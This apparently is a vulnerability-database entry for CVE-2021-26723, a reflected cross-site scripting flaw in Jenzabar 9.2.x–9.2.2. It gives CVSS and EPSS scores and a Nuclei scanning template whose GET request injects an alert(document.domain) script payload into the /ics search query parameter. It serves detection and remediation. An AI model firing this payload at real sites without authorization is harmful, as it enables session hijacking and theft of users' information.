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nucleiProjectDiscoveryNUCLEI:CVE-2021-26723
HistoryFeb 07, 2021 - 3:41 p.m.

Jenzabar 9.2x-9.2.2 - Cross-Site Scripting

2021-02-0715:41:09
ProjectDiscovery
github.com
1

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.075 Low

EPSS

Percentile

94.1%

Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.

id: CVE-2021-26723

info:
  name: Jenzabar 9.2x-9.2.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Jenzabar 9.2x-9.2.2.
  reference:
    - http://packetstormsecurity.com/files/161303/Jenzabar-9.2.2-Cross-Site-Scripting.html
    - https://gist.github.com/Y0ung-DST/d1b6b65be6248b0ffc2b2f2120deb205
    - https://jenzabar.com/blog
    - https://y0ungdst.medium.com/xss-in-jenzabar-cve-2021-26723-a0749231328
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26723
    cwe-id: CWE-79
    epss-score: 0.07461
    epss-percentile: 0.94099
    cpe: cpe:2.3:a:jenzabar:jenzabar:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jenzabar
    product: jenzabar
  tags: cve2021,cve,packetstorm,jenzabar,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220490c345e373b59329ef33f2390100f0df9533e5f3f4e3d9f3f88a59a8189081d022100b0d39ad57c7acdf202b65e6d69ce910e585bba593dbeee4178d6d33e08a42380:922c64590222798bb761d5b6d8e72950

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.075 Low

EPSS

Percentile

94.1%